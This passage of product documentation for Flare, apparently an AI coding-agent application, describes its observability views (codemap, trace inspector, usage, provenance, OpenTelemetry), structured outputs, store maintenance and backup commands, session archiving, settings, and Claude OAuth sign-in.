**Where to find it** — **Settings → Integrations → Attention webhook** (unset = off). The server logs `notify: attention events → …` on boot when it's enabled. The URL is stored sealed like every credential (it is the webhook's bearer secret — whoever holds it can post as you), so it is never returned by `GET /settings` and is masked out of logs and model-facing text.

**How it works** — The same pure classifier the tab uses (shared in `@flare/core`) drives a server-side subscriber attached to every project's event bus, so the two surfaces can't drift on which events matter. Each POST is a compact JSON body — `{ text, title, message, tag, event, at }` (the `text` field suits Slack; ntfy and generic receivers can read the structured fields). Any registered credential value that could appear in a notification (e.g. a secret on an approved command line) is masked before it leaves the machine. Because you configured the URL yourself it is trusted to reach wherever you point it — including a self-hosted ntfy on your LAN, which the SSRF guard on model-driven fetches would refuse — but it is still hardened: http(s)-only, a hard per-POST timeout, and redirects are not followed. A dead endpoint is swallowed and never slows or fails a run.

### Destructive safeguards & fleet trust

**What it does** — Makes irreversible operations hard to trigger by accident, and merges to main hard to trust blindly. Destructive controls arm on the first click and re-label with the blast radius; only a second click fires.

**Where to find it** — Built into the board's destructive card actions and the review pane's Revert.

**How it works** — Only one action can be armed at a time across a whole list — arming another button disarms the first, so a stray double-click can never fire two different destructive actions. The second click of a double-click is ignored, so a double-click only arms a button and never fires it. Beyond confirms, merging is human-gated end to end: review diffs come durably from git (they survive restarts and outlive the in-memory agent), the board's review flow runs a read-only merge dry-run to warn about conflicts before you approve (and offers to resolve them), and an optional pre-merge verify gate runs your check command inside the agent's worktree before anything lands.

**Configuration** — **Toolchain → Verify command** enables the pre-merge verify gate (e.g. `tsc --noEmit`).


## Codemap & Observability

Flare is a glass box: everything the agent does is captured as events, and every observability surface in this section is a projection over that same log — nothing here adds new instrumentation. This area covers the Codemap view of what the agent sees in your repo, account usage and per-project spend, the trace inspector, the provenance (AIBOM) record, and OpenTelemetry export.

### Codemap

**What it does** — Shows the ranked map of your codebase exactly as the agent sees it (the same projection that backs the `@Repo` mention and the `repo_map` tool): files ordered by how central they are to the repo's own dependency graph, each with its key symbols, their kinds, and the files that **use** it. A summary line reports how many files and symbols are mapped, and whether the list is truncated to the top entries by relevance.

**Where to find it** — The **Codemap** link in the project nav, route `/p/p_2449f1b1/codemap`. Also in the ⌘K palette as "Go to Codemap".

![The Codemap: the ranked repo map the agent sees, filterable by file or symbol](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/codemap.png)

**How to use it**

1. Type in the "Filter by file or symbol…" box to narrow the list — a path match keeps all of a file's symbols; otherwise only matching symbols are kept. Escape or the field's × clears the filter.
2. Click **Refresh** to re-scan the workspace. The map is not polled (building it walks every file), so refresh after significant changes.

**How it works** — A read-only view over the workspace scan the agent itself uses, served on demand. Glass-box by design: what you see here is exactly the context ranking the model gets. Only project code is mapped. Files inside agent-tooling folders (`.agents/`, `.claude/`, `.cursor/`, `.windsurf/`, `.opencode/`, at any depth) and inside any skill pack (a folder holding a `SKILL.md`) are left out: they never take a place in the ranking, never count toward "files mapped", and never show up as "used by" edges. The agent can still read, search and edit them; they just aren't in the map.

The ranking is **PageRank over the repo's real import graph**, not a count of how often a name appears in text — a count reads prose as happily as code, so files that merely mention common words, or "symbols" that come out of a comment, would outrank the code everything depends on. Each entry also carries its `used by` edges — the files that actually import it — so the map answers "what depends on this" and not only "what is popular".

Symbol extraction defaults to fast per-language regex heuristics; set the hidden `memory.repoMapParser` to `tree-sitter` (with the optional `web-tree-sitter@0.24` + `tree-sitter-wasms` packages installed) to swap in real Tree-sitter ASTs for more accurate symbols — no more false matches inside strings, comments, or complex generics — while the token budget and output format stay identical.

PageRank is also **personalized** when the caller already knows what it is working on: the board's plan stage is handed the files its refine stage opened, which biases the map toward that neighbourhood instead of only reporting what is central overall. A focus that matches nothing falls back to the unbiased ranking rather than returning an empty map.

### Status popover (5-hour + weekly usage)

**What it does** — The usage chip in the top bar shows your Claude subscription usage at a glance as a percentage — e.g. **54%** — for the 5-hour window (or, when the account reports none, the window Anthropic's headers flag as binding), tinted amber when approaching a limit and red at one; until any usage is captured it falls back to a neutral status icon. Opening it shows a **Model usage** panel with one progress bar per rate-limit window your account reports — the 5-hour window, the weekly window, and, when your plan tracks premium models separately, the **Weekly (Fable/Opus)** pool — each with percent used and a reset time — a countdown and the clock time while under 24h out ("resets in 2h 14m · 16:40"), or a weekday and time further out ("resets Sunday at 04:00") — plus an "as of" timestamp and a **refresh** button.

**Where to find it** — The percentage chip in the top bar (present on every page).

![The top-bar status popover with the 5-hour and weekly usage windows](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/status-popover.png)

**How to use it** — Click the chip to open; it refetches automatically on open. **refresh** forces a server-side probe for the freshest numbers. Close with Escape or a click outside. The number stays live on its own: at app boot Flare probes once if nothing has been captured yet, and every 2 minutes while the tab is visible, and again whenever the tab comes back into view, it re-reads the latest captured snapshot — so while sessions are running, the chip tracks their usage with no clicks.

**How it works** — Windows are captured from the rate-limit headers Anthropic returns on each model response (the unified 5-hour/weekly headers on the OAuth subscription path, including the premium-tier weekly pool when the account has one), so the snapshot updates as the agent runs — the 2-minute background tick just re-reads that server-side snapshot and never spends quota itself. The boot probe and the **refresh** button fire one minimal, immediately-aborted model call to harvest fresh headers — trying the Fable tier first, because only a premium-tier call's response reports the premium weekly pool, and falling back to the default model when the account lacks it. On a hosted Flare, a refresh within a minute of that person's last probe returns the latest snapshot without another model call; a desktop refresh always probes. On a hosted Flare each person's windows are their own Claude's, and the calls of the cards they started count toward them. On an API key the popover explains that per-minute limits apply instead.

### Cost & usage timeline

**What it does** — A project-wide spend dashboard: a grand-total headline (estimated cost plus input/output/cached token counts), a flat SVG bar chart of estimated cost per **Day** or **Hour**, and a per-model breakdown table (Model / Tokens / Cost). Costs are estimates from a static pricing table, so figures are marked with "~".

**Where to find it** — The bar-chart icon (**Project usage**) on the right side of the top bar, shown inside any project. It opens a popover. A compact per-session usage line and per-model cost also appear inside the Workbench session view and the trace inspector.

![The Project usage popover: total spend, cost-per-day chart, and per-model breakdown](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/usage-dashboard.png)

**How to use it** — Click the bar-chart icon, then toggle **Day**/**Hour** granularity with the segmented control.

**How it works** — A projection: the server reads the project's usage events in one query and folds them into time buckets per model, and the client prices those buckets from the static pricing table (a web search request adds $0.01, Anthropic's list price, on top of its tokens). The whole timeline is recomputed from the durable event log, so it covers all sessions ever run in the project, not just live ones, including sessions moved to the [session archive](#session-archive). A session whose log cannot be read is left out and named in the server log.

### Trace inspector

**What it does** — The full structured trace of a session: runs → steps → tool calls, with status badges, durations, token counts, streamed model text per step, and each tool call's arguments and result (errors flagged). Each run's header shows its status, its stop reason, its duration and its tokens in and out. Each collapsed step shows its duration as a bar scaled to the run's slowest step and up to four tool-call chips (the tool and its main argument, such as a path or command, with "+N" for the rest). When a session used more than one model, a line per model with its tokens and estimated cost heads the pane.

**Where to find it** — The **Trace inspector** pane in the right column of the Workbench workspace (`/p/p_2449f1b1/workbench`), beside the Assistant pane on wide screens (running the same height) and below the content on narrow ones; it holds a placeholder until the viewed session has events, then shows the trace; it displays the run count and the short session id with a **Copy id** action. The same trace view (read-only) appears in a backlog card's inspector, replayed from the shared store even after the card's agent is gone, where each run also lists its friction notes (repeated calls, failing tools, slow steps, cache misses). A subagent's trace opens from the **Sub-runs** pane under it.

![The trace inspector: runs, steps, and tool calls](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/trace-inspector.png)

**How to use it**

1. Expand a step in the Trace inspector pane to see its text and tool calls. **Expand all** / **Collapse all** open or close every step of that run at once. On a phone (≤640px) they are icon buttons at the right of the run header (same names for screen readers, tooltip on hover).
2. When a run has failed tool calls, **Jump to errors (N)** in its header opens every step with an error and scrolls to the first.

**How it works** — The trace is a pure projection over the session's event log — timing comes from event timestamps. Because the log is durable, any completed session (including finished backlog cards) replays identically later.

**Cache misses** — Each model call to Anthropic's own API asks it to compare the prompt with the request behind the previous assistant turn. When the prompt changed before its cached part ended, the step gets a **cache miss · …** chip naming what changed (model changed, system prompt changed, tool list changed, or earlier messages changed) and, in its tooltip, about how many prompt tokens were written to the cache again. In a card inspector's trace, the run's friction notes add one line summing them ("3 steps missed the prompt cache: tool list changed ×2, …"). When the API could not compare (it found no previous request to compare with, or the comparison was unavailable), the reason is recorded on the usage event but shows no chip. A custom API base URL (`model.baseUrl`, hidden) sends no comparison request, since a proxy may refuse the field. The API keeps only hashes of the prompt for the comparison, briefly. Cache misses are left out of **Suggest a rule from recent runs**: they come from how Flare builds the prompt, not from anything the agent did.

### Provenance (AIBOM) panel

**What it does** — A verifiable record of how a change was produced: model, autonomy mode, verify status, SHA-256 hashes of the prompt and the diff, the files touched, tools used, command count, and any AI-review or secret-scan finding counts. A **Download provenance.json** button saves the pretty-printed record. The same record is stamped into the commit trailer and PR body when you ship.

**Where to find it** — The **Provenance** section appears on the Workbench beneath the change review once a session has file changes, and in a backlog card's inspector.

**How it works** — A pure projection over the session's event log, returned by the server already secret-masked, so neither the panel nor the download can leak a raw secret.

### Structured run outputs

**What it does** — Makes a run callable like a function instead of like a chat. Supply a JSON Schema and the run's final message has to satisfy it: Flare validates, re-prompts a bounded number of times on mismatch, and hands back the parsed value.

Without this, every consumer parses prose — the fleet pipeline, the rubric gate, the MCP surface, and any script you write.

**How to use it**

```bash
# Headless: STDOUT carries the value and nothing else, so it pipes into jq.
flare-run --output-schema ./schema.json "which files changed and why?"
flare-run --output-schema '{"type":"object","required":["ok"]}' "did the tests pass?"
```

```jsonc
// POST /projects/:id/sessions/:id/runs
{ "prompt": "summarise the diff", "outputFormat": { "schema": { "…" }, "maxRetries": 2 } }
```

From the SDK, `startRun(sessionId, prompt, { outputFormat: { schema, maxRetries } })` sets the contract and `getStructuredOutput(sessionId)` reads the accepted value back. Over MCP, `flare_run` takes an `outputSchema` argument and returns `structuredOutput`.

**How it works** — The schema is compiled **before** the run starts, so a schema that will not compile is a 400 you can act on rather than a surprise after you have been told the run began. The instruction carrying the schema rides the run's ephemeral system channel (per-run, never logged), so a resume can carry a different contract without the old one lingering.

Each attempt is recorded as its own event with the reason it failed — no JSON at all, JSON that would not parse, or a parsed value that missed the schema — because "the contract failed" and a debuggable account of _how_ are different things. Those distinct kinds also earn distinct corrective prompts.

**Failing the contract is not a new way for a run to die.** When the retry budget runs out the run completes exactly as it would have without a contract; the structured output is simply absent. A convenience feature that could kill runs would leave callers worse off than before it existed. `flare-run` still exits non-zero in that case, because a script that asked for a typed result and got none should not carry on.

The accepted value is persisted with its event, which makes it a projection over the log rather than a field that only exists in the process that ran the loop — so it survives a reload, answers in another process, and works with the fire-and-forget `POST /runs`.

**Limits** — Retries are capped (default 2, hard limit 5) because each one is a whole model call. Schemas may not contain a remote `$ref`: a caller-supplied ref pointing at a URL would turn a JSON body into an outbound fetch.

### Unattended runs that park on a human

**What it does** — Makes it impossible for a headless run to report success without having run.

A run that hits an `ask`-gated tool parks waiting for a person. In the web app that is fine — someone is there. In `flare-run` there is nobody, and left alone the wait is worse than it looks: the approval awaits a promise holding nothing open, so Node's event loop drains and the process would exit **0** having printed only its banner — a CI step gating on `flare-run` would pass on a run that executed zero steps.

Two things prevent that.

**The exit guard** turns a drained exit into a non-zero one that names what was parked:

```
[flare-run] the run never completed: it is parked waiting on approval for
           run_command (echo hello), and nothing here can answer it.
[flare-run] Set budget.approvalTimeoutMs to bound the wait: what asks here is a protected path, a
           credential file or a rule, which no safety.mode skips.
```

**Auto-deny an unanswered approval after** (the hidden `budget.approvalTimeoutMs`) bounds the wait so an unattended run reaches a real conclusion instead of dying at the bottom. When it elapses, the approval (or `ask_user` question) is auto-denied with the reason recorded on the event log — so the trace distinguishes "a person said no" from "nobody was there" — and the run carries on to a normal finish.

It is **off by default**, and that is deliberate: in an interactive session a human may still be reading the diff, and auto-denying under them would be worse than waiting. An invalid or non-positive value is treated as unset rather than as an instant denial, which would turn every ask-gated run into an immediate failure.

### Store maintenance and backup

**What it does** — `flare-maintain` runs Flare's store upkeep from a terminal: the jobs the running server never does — a backup, a full compaction, a health check — and on-demand versions of the ones it does between runs. Its account and project-moving commands (`recovery-link`, `export-project`, `import-project`) are covered under [Accounts and teams](#accounts-and-teams) and [Project import](#project-import).

```bash
pnpm --filter @flare/server maintain rebuild-summary    # every registered project
pnpm --filter @flare/server maintain rebuild-summary --db ./.flare/flare.sqlite
pnpm --filter @flare/server maintain backup ~/flare-backups
pnpm --filter @flare/server maintain coalesce-deltas     # safe while the server runs
pnpm --filter @flare/server maintain compact             # with the server stopped
pnpm --filter @flare/server maintain stats
pnpm --filter @flare/server maintain doctor
pnpm --filter @flare/server maintain audit --limit 20      # hosted: newest account events
pnpm --filter @flare/server maintain prune --older-than-days 90 --dry-run
pnpm --filter @flare/server maintain restore-sessions 2026-11.sqlite
```

**`stats`** lists what each database holds — a count per event type — and which declared event types have never been recorded there.

**`rebuild-summary`** recounts the per-session summaries the session list reads, from the event log. `doctor` reports when they disagree with the log.

**`coalesce-deltas`** shrinks what streaming leaves behind: a reply is stored in small batches as it streams (a row per roughly 200 characters, or per 80 ms of a slow stream; stores written before batching hold a row per chunk), then again whole. The server folds these on its own: every ten minutes, while the project's main engine has no run in flight, it merges each unbroken stretch of one step's chunks into a single row with the same text, for runs that completed more than an hour ago in sessions written since a day before the server started. `coalesce-deltas` does the same for every **completed** run in the store, older history included — the trace, the reasoning view and the step boundaries read exactly as before. It works one session at a time in short transactions, so it is safe beside a running server; the rows it frees are given back like any other free space (below).

**Free space** — A store created by this build gives its free pages back on its own (SQLite's incremental vacuum): every ten minutes, while the project's main engine has no run in flight, the server returns up to 32 MB of them in 1 MB slices and lets other work run between slices (a slice measured 4 ms typical, 24 ms worst, on a 150 MB store with half its pages free). A card's or another agent's run is not counted as busy; its appends wait for one slice at most. A store an older build created keeps its free pages until it is compacted once: the server says so at boot when that space passes 64 MB, and `doctor` reports each store's free space and whether it is given back on its own.

**`compact`** rewrites the store without its free pages (`VACUUM`) and turns an older store into one that gives space back on its own, so it is needed once per such store, not as upkeep. It needs the database to itself — stop the server first.

**`backup`** writes a compacted, consistent copy via SQLite's `VACUUM INTO`, with the server still running. This is the supported way to copy a Flare database: copying `flare.sqlite` by hand while the server is live gives you a torn file, because the recent writes are still in the `-wal` sidecar. Each file is named `<project>-<timestamp>.sqlite`, so a second backup never overwrites the first. A backup opens each store read-only and never migrates it: a store an older build created is copied as it is, so a backup taken before an upgrade holds the schema from before it. The server also keeps one such copy itself: before it migrates an existing store to a newer schema — a project's `flare.sqlite` and `memory.sqlite`, the accounts store `accounts.sqlite` and the box registry `boxes.sqlite` — it writes `<store>.before-migration-from-v<N>.sqlite` beside it (for example `flare.sqlite.before-migration-from-v<N>.sqlite`; owner-only, once per version left; the code index, a cache Flare rebuilds, gets none), so a migration that did the wrong thing can be undone by putting that file back with the server stopped. If the copy cannot be made, the store still opens and the server log says so. Delete old copies by hand once you trust the upgrade.

**`doctor`** checks what cannot be seen from outside the process — store integrity, whether the session summaries agree with the log, the command reader and each project's permission rules against their own examples, whether the sealed settings vault still opens with this machine's key — and exits non-zero on any failure. `doctor` and `stats` open each store read-only and never migrate it: a store this build would migrate is refused with "Run this with the build that owns the store: it migrates the store when it starts". Every command acts on every registered project unless `--db <path>` names one database.

**What a project adds to the agent** — For each registered project, `doctor` also lists, as notes and never failures, what the project's own folder switches on: its `AGENTS.md`/`CLAUDE.md` instructions, each hook (its event and the program it runs, or the host it calls), each MCP server in `flare.mcp.json` (its program or host), skills, plugins, rules, and the ACP and LSP configs, with each file's last-changed day. A command shows its program only and a URL its host only, so no argument, header, environment value or query string is printed. An untrusted project is marked: none of it loads until you trust it. Run it after pulling or cloning, and read the list for an entry you do not remember adding.

**Accounts (hosted)** — On a hosted instance, `doctor` also checks `accounts.sqlite` (integrity, schema version, exactly one owner) and `backup` copies it, even before any project exists. **`audit [--limit N]`** prints the newest account events, newest first (default 50, at most 1000), with control and text-direction characters escaped so a client-chosen email cannot drive the terminal. All three open the accounts store read-only: the CLI never migrates or rewrites a live store (SQLite may leave its `-wal`/`-shm` files, with the store's owner-only mode). The server creates `accounts.sqlite` owner-only (0600) before opening it, and a `FLARE_HOME` it creates 0700; an existing home keeps its mode. A desktop install has no accounts store, and none is created.

**Durability** — The event store runs in WAL mode at `synchronous = NORMAL`, which is SQLite's own recommendation for WAL: measured, an fsync per commit is roughly 65% of the cost of appending an event. At `NORMAL` the log is still corruption-free and still durable across an **application** crash; only an OS crash or power loss can cost the most recent transactions — and a run whose tail is missing is one the machine just killed, which the interrupted-run reconciliation already handles. The hidden `storage.sqliteSynchronous` setting in `~/.flare/settings.json` sets it to `FULL`, `EXTRA`, or `OFF`. Only those exact values (and `NORMAL`) are accepted; anything else is listed under the ignored settings and the store runs at the default `NORMAL`. On Linux and macOS the event store, its `-wal` and `-shm` files and every backup copy are owner-only (0600), since the store holds every prompt and tool call; an older store is brought to that mode the next time it opens.

**Retention** — Flare deliberately offers no per-event pruning. Every pane you look at is a projection over the log, and the dependencies are not obvious from the event names: the trace inspector builds each step's assistant text entirely from `model.delta` events, and run replay reads the same stream, so deleting "just the deltas" from an old session would silently blank its trace and break its replay. Retention is therefore session-level, and nothing in Flare deletes a session: old ones move out of the store into its [session archive](#session-archive), and `backup` gives point-in-time copies you can prune on your own schedule.

### Session archive

**What it does** — Keeps a project's event store small by moving old sessions out of it, whole, into `session-archive/YYYY-MM.sqlite` beside the store (one file per month they left in). The live store, and every migration that runs on it, then holds only what is still in use. Nothing is deleted: a moved session still opens, its trace and replay read as before, and its spend stays in Usage and in its card's cost.

**Where to find it** — Two kinds of session move:

- **An archived card's sessions** move on their own once the card is [archived](#archived-cards): the session it shows, the earlier stages and attempts it lists, and the sub-runs each delegated to. The move runs with the store's other upkeep, every ten minutes while the project's main engine has no run in flight, about 64 MB a pass (a session is never split between passes). A session a card on the board still names, such as a fork's source, stays.
- **Sessions nothing refers to**, meaning no card on the board or in its archive and no idea run, move only when you ask. **Project settings → Storage** (the owner and admins; on a desktop Flare, you) shows the store's size, each archive file with its sessions and size, and how many such sessions, and how much space, have gone untouched for the period you pick (30, 90, 180 or 365 days). **Move to archive** turns into **Confirm move**, and the second click moves them ([Storage](#storage)). From a terminal: `maintain prune --older-than-days N`, with `--dry-run` to see the count first.

**How it works** — A move copies a session's rows into the month's file, checks that every row arrived, then removes them from the store in a second transaction, so a move stopped halfway leaves the rows in both places and the next one finishes it. The store keeps each moved session's summary, title and spend, plus a pointer to its file. Every read follows that pointer: an archived card still shows its trace, replay and history, the usage timeline still counts it, and a new event for a moved session brings it back into the store first.

To free disk space, delete an archive file yourself; Flare never does. A deleted file's sessions are then gone: opening one says its trace is no longer stored (an HTTP 410), the Storage pane counts them, and `doctor` notes them without failing. `maintain restore-sessions <file>` puts a file's sessions back into the store it came from. `backup` copies each archive file beside the store's own copy, and a [project export](#project-import) carries archived sessions inside its store, with a warning for any whose file was deleted. A link where the folder or a file should be is never followed or written through, since a cloned repository can carry one.

### OpenTelemetry export

**What it does** — Optionally exports every completed run as an OpenTelemetry trace, named the way 2026's trace viewers expect an agent run to be named: a root `invoke_agent flare` span with prompt, status and `gen_ai.usage.*` token attributes, a child span per step, and under each step a `chat <model>` span for the model call (with that call's own token counts, including cache reads and writes) and an `execute_tool <name>` span per tool call (with its duration, error status and `gen_ai.tool.call.id`). Works with any OTLP/HTTP-JSON collector — Langfuse, Arize, Phoenix, or an OTel Collector.

**How to use it** — Set the endpoint and restart the server; a startup line confirms "OTel: exporting run traces → …" with the collector's origin. Export is fire-and-forget: a collector failure is logged and never breaks a run. A run started over MCP with a W3C `traceparent` in the request's `_meta` joins the caller's trace, under the caller's span ([Flare as an MCP server](#flare-as-an-mcp-server)). The same `traceparent` rides in the `_meta` of each call that run makes to an external MCP server.

**How it works** — A bridge subscribes to the event bus, buffers each run's events, and on run completion converts the same trace projection the inspector renders into a span tree — export is a projection too, with zero new capture and no `@opentelemetry` dependency. The per-step model span comes from the `usage` event the loop already writes, which is the only place a run records which model served a given step; the run's totals are a sum, and a sum cannot show a fallback hop. Its window spans the step opening to that record, so it covers context assembly and the provider stream and excludes tool execution — it is not a timer around the HTTP call. No schema URL is claimed: the OpenTelemetry GenAI conventions have no tagged release, so the attribute names are emitted without asserting a version.

**Configuration** — **Integrations → OTLP endpoint** (the OTLP/HTTP traces URL, e.g. `http://localhost:4318/v1/traces`) enables export; **Integrations → OTLP headers** adds request headers as comma-separated `key=value` pairs (e.g. an auth token), and is stored sealed like every other secret setting. Both take effect on a server restart. Unset, the feature is fully off.


## Global Settings & Navigation

Everything in this section is install-wide: it works the same in every project and lives in the persistent shell around the pages — the sign-in gate, the top bar, the global `/settings` page, the ⌘K command palette, and the keyboard layer. The shell only appears after a confirmed sign-in; until then Flare fails closed and shows the auth gate instead.

### The Settings page

**What it does** — The decisions worth making, in one place: settings in groups
that read top to bottom as a sentence — **Model** (which model,
and the credentials to reach it), **Safety** (how much the agent may do before it
asks), **Limits** (what a run and a day of autonomous work may cost),
**Toolchain** (the commands Flare runs against your code), **Sandbox** (the
Upstash boxes cards can run in instead of this computer, their sizes and what they
may spend), **Memory**, and **Integrations**. Each row is a label, a plain-English explanation, and a control
built for its type. Every row on the page is one you can change: the facts about
how this server was started — its port, bind address, API token, home and
workspace paths — are read from `~/.flare/settings.json` and its environment, and
are not shown, because a row you can only look at is not a setting.

Most of what the engine reads never reaches this page. Everything not on it is
**hidden** — a tuning constant this codebase owns rather than a preference: a
socket timeout, an rlimit, a compaction threshold. Its default lives in the
catalog and it is never offered here, though you can still set it by hand in
`~/.flare/settings.json`.

There are two tiers and no third. Some settings are marked **advanced** — a
real decision almost nobody makes: OpenTelemetry export, quarantined reading,
asking before every web request, the warm worktree pool and
its install command, the formatter's extension list, the oracle tool and its
model, model-written session names, the fallback model chain. The flag only sorts them below the rest of their group —
nothing is folded behind a click, because a decision you have to find behind a
click is one you do not know you have.

> A setting named elsewhere in this guide that you cannot find on the page is a
> hidden one: the stuck-run guard, the stage tool ceilings, the rubric
> thresholds, the approval timeout, the max-output-token cap. All of them are
> still settable, by hand, in `~/.flare/settings.json` under the key the catalog
> declares.

A page that lists every value the engine reads tells you all of them are yours to
decide, and buries the ones that are.

**Every control says what it does.** Each setting carries a one-line
explanation, and the guard that keeps that true is mechanical: a visible,
editable setting with no hint fails the build. Settings with a fixed set of
choices — the autonomy mode, the sandbox tier, the embedding provider — render as
options that explain themselves rather than a dropdown of slugs, each one naming
what it actually permits, which one is the default, and whether it can work on
this machine at all. (The `os` sandbox tier needs macOS or Linux; on Windows it
is shown, explained and unchoosable, rather than offered and then failing at
boot.)

**Where to find it** — **Settings** in the top bar, route `/settings`.

**How to use it**

1. Change what you want. Each edited row gets a dot, and a save bar appears at
   the bottom of the window counting them.
2. Press **Save changes** — one button for the page, not one per group. A
   rejected save keeps your edits on screen with the reason beside the field
   that caused it, so you can fix it rather than retype everything.
3. The result line says what happened: how many settings were saved, how many
   projects picked the change up immediately, how many are waiting on a run in
   flight, and how many need a server restart. A save that was written but
   could not yet be applied (the server's own reload, or a project, failed)
   still reads as saved, with **not applied yet** and the reason.

**How it works** — The page is GENERATED from the same catalog the server
validates against (`@flare/config`), so a new setting appears here the moment it
is declared — there is no second list of controls to keep in step. Values live in
`~/.flare/settings.json`, a plain sorted JSON file you can read, diff and back
up; credentials do not, they are sealed with AES-256-GCM into
`~/.flare/secrets.json` under a key held in the OS keystore, and never sent back
to the browser (the field shows only whether one is set). A stored credential
shows **Clear** beside it: clearing stages the removal ("cleared — save to
apply") and **Save changes** applies it, so an API key can be dropped to go back
to the Claude sign-in; **Discard** restores it. A credential set by an
environment variable stays locked. A key left in plaintext
by an older version is moved into that vault the next time the server reads its
settings — sealed and verified before the plaintext is removed, so a broken
keystore leaves the credential where it was rather than losing it.

Saving applies without a restart wherever it can: the server evicts each IDLE
project runtime so its next build reads the new value, and reports honestly about
the ones it left alone. A handful of settings are read once while the process
starts, and those say **"Takes effect
after a server restart"** on the field rather than pretending otherwise.

The states a control can be in, each one said out loud rather than shown as an
unexplained grey box:

- **Set by an environment variable** — an operator pinned it; the field is
  read-only, because accepting an edit that cannot take effect is worse than
  refusing one.
- **Takes effect after a server restart** — a setting read once at startup.
- **Only the owner can change credentials and the addresses they are sent to.** —
  on a hosted Flare, an admin's view of a credential or of the endpoint one is sent
  to; the owner changes it.

The Toolchain group's blurb says any project can override its values: every
Toolchain row except **Warm worktrees** is what a project inherits until it says
otherwise in its own [Overrides](#overrides) pane, which can
also add to **Safety → Also treat these files as credentials**.

An environment-pinned value, and a credential an admin may not change, is
rendered as a **fact** rather than a greyed-out input: a disabled field invites a
click and then does nothing, while an env-pinned value sitting in monospace beside
"Set by an environment variable" says what it is. An admin's view of the other
owner-only rows keeps its control, disabled, under the owner-only note.

A value the server had to refuse — out of range, the wrong type, an option the
setting does not offer — is listed under **"Ignored — each is running on its default
instead."** with the reason, so a setting that is not taking effect says so
instead of appearing to work. A key the catalog does not declare is ignored
without a line here.

### Connect Claude

**What it does** — Connects Flare to your Claude subscription via Anthropic OAuth (PKCE). One login covers every project on the install; tokens are stored encrypted on the server machine and auto-refreshed before expiry, so a login applies live with no restart. Until a credentialed connection is confirmed, the whole app is replaced by the sign-in gate — no route leaks through.

**Where to find it** — The gate appears automatically at any route while Claude is not connected. While the status check is still running you see a neutral "Connecting to Flare…" card; when the server keeps failing to answer (three reads in a row), the card says why under "Still trying — …" while it keeps retrying. Once the server reports no credential, the card reads "Connect your Claude". To disconnect later, open **Your account → Integrations → Claude** (from the account menu at the far right of the top bar) and press **Disconnect**, then confirm — the same on a local and a hosted Flare. On a hosted Flare **every person connects their own Claude**: right after creating their account (owner setup or an invite — both pages say "Next, you will connect your own Claude.") they meet the same gate, "The work you start in Flare runs on your own Claude subscription. Nobody else's work runs on it.", and can do nothing but connect or **Sign out** until they do. Their own connection is shown and disconnected (after a second click) under **Your account → Integrations → Claude**; disconnecting touches only theirs. The AI work an action starts runs on the Claude of the person who took it — refine and plan on the refiner's, implementation on whoever pressed Start, a Workbench or MCP run on its person's (an MCP app's owner) — and never falls back to anyone else's or to an instance key. A run that stops because its person's Claude is missing, expired or revoked keeps its work and the card waits — its face and inspector say **Waiting on <name>'s Claude**, an implementation keeps its worktree for **Continue** and a refine or plan returns for **Refine**, whoever presses it pays with their own Claude, and until then the card cannot be landed, revised or auto-resumed; the **Team** list shows who has connected; a request that would start work without the caller's own Claude is refused with "Your Claude is not connected to Flare — sign in to Flare and connect Claude."

**How to use it**

1. Click **Connect Claude**. Flare opens the Anthropic authorization page in a new tab. If the browser blocks the tab, **Open the sign-in page** (after "No tab opened?") opens it from the form.
2. Authorize there, then copy the code Anthropic shows you.
3. Back in Flare, paste it into the "Paste authorization code" field and click **Connect**. If something went wrong, **Restart sign-in** begins a fresh attempt.
4. On success the gate opens straight into the app. To disconnect, open **Your account → Integrations → Claude** and click **Disconnect**, then **Confirm: disconnect Claude** — you land back on the gate.

**How it works** — The web client polls the server's auth status and reveals the shell only on a confirmed connection (`null`/unknown shows the checking card, never the workbench). Sign-in is a manual-paste OAuth flow: the server mints the authorization URL, the browser opens it in a new tab, and the pasted code completes the exchange server-side. Disconnecting revokes the stored login and drops you back to the gate.

**Configuration** — Credentials are stored encrypted (AES-256-GCM) under the global home directory, `~/.flare` by default; override with `FLARE_HOME`. The key that seals them lives in your OS keystore rather than beside the ciphertext — see [Where the encryption key lives](#signing-in--byo-key-or-claude-oauth), and the hidden `model.keystore` to steer it. Explicit credentials take priority over a stored login: **Model → Anthropic API key** (sealed; env `ANTHROPIC_API_KEY`), or the hidden `model.anthropicToken` (token reuse).

### The global Settings page

**What it does** — Holds the install-wide settings worth deciding (see [The Settings page](#the-settings-page) for how it works), grouped as **Model**, **Safety**, **Limits**, **Toolchain**, **Sandbox**, **Memory**, **Integrations** and, on a local Flare, **New projects** (the default base folder); a hosted Flare puts **Team** first. The **Sandbox** group also carries **Test connection**, which checks the saved Upstash Box API key by listing this install's boxes (it creates nothing, and stays disabled until a key is saved and while box settings have unsaved changes: "Save your changes first — the test uses the saved key."). Below it, **Unknown sandboxes** lists boxes with this install's label that Flare has no record of, each with **Delete** (two clicks); Flare never deletes them on its own. A hosted Flare leaves out **Toolchain → Warm worktrees**, since it runs no warm pool. Your Claude connection and connected apps are personal, so on a local and a hosted Flare alike they live on [Your account](#your-account). (Per-project wiring — overrides, MCP servers, instructions, memory and skills — lives on each project's own Settings page; connectors, permission rules and hooks are configured by file.)

**Where to find it** — Click the gear icon on the right side of the top bar, run "Go to Settings" from the ⌘K palette, or open `/settings` directly. A left-hand rail links to each group.

![The global Settings page](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/settings-global.png)

**How to use it** — On a local Flare, below the setting groups, the **New projects** section holds **Base folder** — new projects start from this folder unless you choose a different one (a hosted Flare adds projects only by cloning, so it has no base folder). Type a server-side absolute path, or click **Choose folder…** to pick one; the picker tries the OS-native folder dialog first and automatically falls back to an in-app server-backed folder browser when no native dialog is available (headless, WSL, container, remote). On a hosted Flare the owner and admins see the setting groups under **Team**; a member sees only **Team**, with "Instance settings are managed by the owner and admins."

**How it works** — The base folder is a browser-local preference (persisted in localStorage, "Remembered in this browser only"), read when you create a new project.

### Your account

**What it does** — The one page for what is personal rather than install-wide: who you are, how you sign in, and what reaches Flare as you. It has three sections on a hosted Flare and two on a local one, which has no accounts:

- **Profile** — on a hosted Flare your name, email, role and member-since date; on a local Flare it says the Flare is local, on this computer, with no sign-in ("a browser you pair reaches Flare as you").
- **Security** (hosted only) — **Change password** (current password, then the new one twice), and your **Browser sessions**: each browser signed in as you, this one marked **This browser**, **Sign out** on any other, and **Sign out everywhere** (asks once more).
